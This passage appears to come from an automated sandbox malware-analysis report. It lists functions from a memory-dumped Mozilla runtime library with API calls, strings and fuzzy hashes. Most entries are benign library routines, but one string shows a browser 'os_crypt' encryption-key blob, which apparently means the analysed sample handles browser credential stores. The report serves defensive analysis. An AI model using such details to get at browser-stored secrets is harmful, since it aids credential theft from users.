Instruction Fuzzy Hash: E552C13160A3428FD724CF28C49076AB7E6FF8A318F248E1ED99687B95D735D845CB42

Function 6C9C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9C9F3D
__aulldiv.LIBCMT ref: 6C9C9F77
__aullrem.LIBCMT ref: 6C9C9F8C
__aulldiv.LIBCMT ref: 6C9CA023

Strings

-Infinity, xrefs: 6C9C9E60, 6C9C9E7B
NaN, xrefs: 6C9C9EAB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction ID: 2d046e7d8ccc60130126665580cd21b528b909adca834dcfbe03bef720b97a9b
Opcode Fuzzy Hash: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction Fuzzy Hash: 22C1BF31F04319CBDB14CFA8C8507AEB7B6AB95318F144529D406ABB80DB71ED49CB92

Function 6C96D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C96D7DD
9, xrefs: 6C96DE7F
0, xrefs: 6C96DC7F
@, xrefs: 6C96DAF6
1, xrefs: 6C96DBDD
, xrefs: 6C96DA88
8, xrefs: 6C96DC08
0, xrefs: 6C96D852

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction ID: a0901f222cd8859a407b961e5c55f7510dac1a46e8bb02b0adb94351604edb07
Opcode Fuzzy Hash: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction Fuzzy Hash: 3362BC7250D3458FE701CE2AC09076ABBE6AF86358F284A4DE4E54BFD5C335D985CB82

Function 6C979F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C97A5D6
0, xrefs: 6C97A100
' , xrefs: 6C97A3D8
@, xrefs: 6C97A625
0, xrefs: 6C97AB22
1, xrefs: 6C97A824

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction ID: a1be253c2caa14fe329c049bd74b65482e8243ccad3493cbe9aed38c26178273
Opcode Fuzzy Hash: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction Fuzzy Hash: BB82E13190B3118BD730CF19C48426EB7F6FB81718F55A92AE89547E90DB35E885CBA2

Function 6C96BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C96C1CB
__aulldiv.LIBCMT ref: 6C96C24C
__aulldiv.LIBCMT ref: 6C96C348
__aullrem.LIBCMT ref: 6C96C365
__aulldiv.LIBCMT ref: 6C96C37D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2198b8d92d22e8dc58fa359ef4a537a2fc8e157b52ebe8a950d52e9ade9fa540
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 51323832B046018FDB18DE2DC890666BBE6AFD9310F09866DE895CB7D5D730DD05CB91

Function 6C9D545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D8A4B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cc7a2ef15a71ddddc90dd85fe83ebbcea8de06ce68a6e7893d1ff32e00509b1a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 10B1E772E0061A8FDB14CF68CC907A9B7B6EF95314F1A42A9C549EB781D730E985CB90

Function 6C9D542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5500b97effd87f839a53f5ec3485a5758551096bee4b98d62caf4844f2ae5e49
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1CB1E572E0061A8FCB14CF58CC906ADB7B6EF95314F1A42A9C549EB785D730E989CB90

Function 6C9D50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 7209bfe219e37980f5c496360648875c623d40650a72435ca9e4d91eb2b98cb4
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: D8A1F672A005178FCB14CE68CC907ADB7B6EF95314F1A42B9C949EB785D730E989CB90

Function 6C9B77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B7A93

Part of subcall function 6C985C50: GetTickCount64.KERNEL32 ref: 6C985D40
Part of subcall function 6C985C50: EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B7AA1

Part of subcall function 6C985C50: __aulldiv.LIBCMT ref: 6C985DB4
Part of subcall function 6C985C50: LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9B7B31

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction ID: f8be5d61e2a9f030d7f08675d196bc2e66d0c5e35e9f264214a8de5c9a793c4f
Opcode Fuzzy Hash: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction Fuzzy Hash: 28B1AF356087809BCB14CF24C49065FB7E2BFD9318F254A1CE99677B91DB70E90ACB92

Function 6C9C85F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C8C7C
__aulldiv.LIBCMT ref: 6C9C8DD7

Strings

ocal":1.696488227591412e+12,"network":1.696488228e+12,"ticks":65453338.0,"uncertainty":1740313.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAAAlvtuFkuG2Vku+v5tcv9K/yuMWlG4CmHCBqr1FcmMaV, xrefs: 6C9C88C1, 6C9C8B71

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID: ocal":1.696488227591412e+12,"network":1.696488228e+12,"ticks":65453338.0,"uncertainty":1740313.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAAAlvtuFkuG2Vku+v5tcv9K/yuMWlG4CmHCBqr1FcmMaV
API String ID: 3732870572-2741417067
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f12e46c384c623772f879381122d2482cffaa12877b7276e2bba0dd1ac5da4a6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 0E326B71F0011A8BDF1CCE9CC9A17BEB7B6FB88300F15852AD506BB790DA349D458B96

Function 6C9A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6E1E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction ID: 2a26b82c877f0ad9090e72f6f06b9436770b29fd3cfd7ab3e3b88798fe456d99
Opcode Fuzzy Hash: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction Fuzzy Hash: 80A17D746183819FDB14CF28C4807AEFBE6BFA8308F54491DE48A97751DB70E859CB92

Function 6C9CB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9CB720
RtlNtStatusToDosError.NTDLL ref: 6C9CB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C99FE3F,00000000,00000000,?,?,00000000,?,6C99FE3F), ref: 6C9CB760

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction ID: 5ccbcb7234e88fa190c0227e1180db810b75f157bce09acde5fc46ad17f78c82
Opcode Fuzzy Hash: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction Fuzzy Hash: 60F0C2B0A0420DAEEF019AA1CC85BEF77BD9B28719F105129E911719C0D778E6DCCE62

Function 6C984640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C984777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C985585, 6C9855A8, 6C9855C3, 6C985624

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction ID: 5eeea10bf034b3d52165101627eb5782c1ce013d210ee24af936e5b57450b8ec
Opcode Fuzzy Hash: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction Fuzzy Hash: B9B27D71A067018FD708CF19C590715BBE6BFC5328B29CBADE46A8B6E5D771E841CB80

Function 6C9CB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9703D4,?), ref: 6C9CB955
NtQueryVirtualMemory.NTDLL ref: 6C9CB9A5

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction ID: a63463f95096f1481e5ac80add819cacd44e6b423f884e7ef8a666fdd7909bf0
Opcode Fuzzy Hash: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction Fuzzy Hash: 3D41B471F01219DFDF04CFA8D881ADEB7B9EF98354F14812AE505A7704DB31E8458B92

Function 6C9A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C974A63,?,?), ref: 6C9A5F06

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction ID: 4e5ce33fd76dea0a851c2f47ef242b0e6831ec76c8cb2e8f57f939aec24988a0
Opcode Fuzzy Hash: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction Fuzzy Hash: C4C1D275E01A099BCB04CF99C5906EEBBF6FF8A318F28415DD8556BB45D732A806CB80

Function 6C96DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction ID: ce2c7b58318e0b84884a9d16268ab1ba5e8373e1e8b1ffcea28e1bd6468ad357
Opcode Fuzzy Hash: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction Fuzzy Hash: D342A172A087518BD304CE3DC89175AB3E2BFC9364F198B2DE999A7BD0D734D9418B81

Function 6C9D76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0ebc6e4fdf23630dc24123358578e6835c461ca9a55e0968987620edce2fe440
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 6332FA71E0061A8FCB14CF98C890AADF7B6FF88308F5585A9C549B7749D731A986CF90

Function 6C9D6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 129051dfbdf47109d22125346549a7b71f077f2eb3b97d5bd55c818db7750ebe
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8F22D771E006198FCB14CF98C980AADF7B6FF88304F6585AAC949B7745D731A986CF90

Function 6C990512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3ad7e1e44205c6cbb74dce5697b1d3f2934bd4840bbf42ccf8143b5a0931f8f6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 81221771E00619CFDB24CF98C890AADF7B6FF89304F588599C45AA7705D731A986CF80

Function 6C9DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction ID: f647ee1b894d18281f36c2218e6d869d07e5fdf261373496c6fe6523c80de9b9
Opcode Fuzzy Hash: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction Fuzzy Hash: 13F15A71608B458FD700CE28C8803AAB7E6AFD5318F16CA2DE4D4A7781EB74F955C792

Function 6C96C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 0f87789f549e13f194901cf071e96575f9c6e4bb450b7fed63516011928a5396
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 31A19371F0061A8BEF08CE69C8913AEB7F2AFC9354F198169E915E7785D7349C068BD0

Function 6C9A7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
